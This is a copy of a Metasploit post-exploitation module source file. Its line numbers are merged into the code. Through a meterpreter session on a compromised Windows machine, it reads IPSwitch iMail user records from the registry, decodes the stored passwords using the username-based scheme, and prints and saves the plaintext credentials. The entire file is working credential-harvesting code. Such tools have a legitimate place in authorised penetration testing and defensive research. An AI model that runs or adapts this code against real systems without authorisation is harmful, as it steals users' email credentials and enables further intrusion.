Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/imail.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather IPSwitch iMail User Data Enumeration',14'Description' => %q{15This module will collect iMail user data such as the username, domain,16full name, e-mail, and the decoded password. Please note if IMAILUSER is17specified, the module extracts user data from all the domains found. If18IMAILDOMAIN is specified, then it will extract all user data under that19particular category.20},21'License' => MSF_LICENSE,22'Author' => [23'sinn3r', # Metasploit24],25'References' => [26['EDB', '11331'],27],28'Platform' => [ 'win' ],29'SessionTypes' => [ 'meterpreter' ]30)31)3233register_options(34[35OptString.new('IMAILUSER', [false, 'iMail username', '']),36OptString.new('IMAILDOMAIN', [false, 'iMail Domain', ''])37]38)39end4041def download_info(imail_user = '', imail_domain = '')42base = 'HKLM\\SOFTWARE\\Ipswitch\\IMail'4344# Find domain(s)45users_subkey = []46if imail_domain.empty?47domains_key = registry_enumkeys("#{base}\\domains")48if !domains_key.nil?49domains_key.each do |domain_key|50users_subkey << "#{base}\\domains\\#{domain_key}\\Users"51end52end53else54users_subkey << "#{base}\\domains\\#{imail_domain}\\Users"55end5657# Find users58users_key = []59users_subkey.each do |user_key|60if imail_user.empty?61users = registry_enumkeys(user_key)62if !users.nil?63users.each do |user|64users_key << "#{user_key}\\#{user}"65end66end67else68users_key << "#{user_key}\\#{imail_user}"69end70end7172# Get data for each user73users = []74users_key.each do |key|75# Filter out '_aliases'76next if key =~ /_aliases/7778vprint_status("Grabbing key: #{key}")7980domain = ::Regexp.last_match(1) if key =~ /Ipswitch\\IMail\\domains\\(.+)\\Users/81mail_addr = registry_getvaldata(key, 'MailAddr')82password = registry_getvaldata(key, 'Password')83full_name = registry_getvaldata(key, 'FullName')84username = ::Regexp.last_match(1) if mail_addr =~ /(.+)@.+/8586# Hmm, I don't think this user exists, skip to the next one87next if mail_addr.nil?8889current_user =90{91domain: domain,92fullname: full_name,93username: username,94email: mail_addr,95password: password96}9798users << current_user99end100101return users102end103104def decode_password(username = '', enc_password = '')105# No point trying to decode if there's no username or password106return '' if username.empty? || enc_password.empty?107108counter = 0109password = ''110111# Start decoding, what's up gold $$1120.step(enc_password.length - 1, 2) do |i|113byte_1 = enc_password[i, 1].unpack('C')[0]114byte_1 = (byte_1 <= 57) ? byte_1 - 48 : byte_1 - 55115byte_1 *= 16116117byte_2 = enc_password[i + 1, 1].unpack('C')[0]118byte_2 = (byte_2 <= 57) ? byte_2 - 48 : byte_2 - 55119120char = byte_1 + byte_2121122counter = 0 if username.length <= counter123124username_byte = username[counter, 1].unpack('C')[0]125if (username_byte > 54) && (username_byte < 90)126username_byte += 32127end128129char -= username_byte130counter += 1131password << char.chr132end133134vprint_status("Password '#{enc_password}' = #{password}")135136return password137end138139def report(users)140credentials = Rex::Text::Table.new(141'Header' => 'Ipswitch iMail User Credentials',142'Indent' => 1,143'Columns' =>144[145'User',146'Password',147'Domain',148'Full Name',149'E-mail'150]151)152153users.each do |user|154domain = user[:domain]155username = user[:username]156password = user[:password]157full_name = user[:fullname]158e_mail = user[:email]159160if datastore['VERBOSE']161text = ''162text << "User=#{username}, "163text << "Password=#{password}, "164text << "Domain=#{domain}, "165text << "Full Name=#{full_name}, "166text << "E-mail=#{e_mail}"167print_good(text)168end169170credentials << [username, password, domain, full_name, e_mail]171end172173print_status('Storing data...')174175path = store_loot(176'imail.user.creds',177'text/csv',178session,179credentials.to_csv,180'imail_user_creds.csv',181'Ipswitch iMail user credentials'182)183184print_status("User credentials saved in: #{path}")185end186187def run188imail_user = datastore['IMAILUSER']189imail_domain = datastore['IMAILDOMAIN']190191vprint_status('Download iMail user information...')192193# Download user data. If no user specified, we dump it all.194users = download_info(imail_user, imail_domain)195196# Process fullname and decode password197users.each do |user|198user[:fullname] = Rex::Text.to_ascii(user[:fullname][2, user[:fullname].length])199user[:password] = decode_password(user[:username], user[:password])200end201202# Report information and store it203report(users)204end205end206207208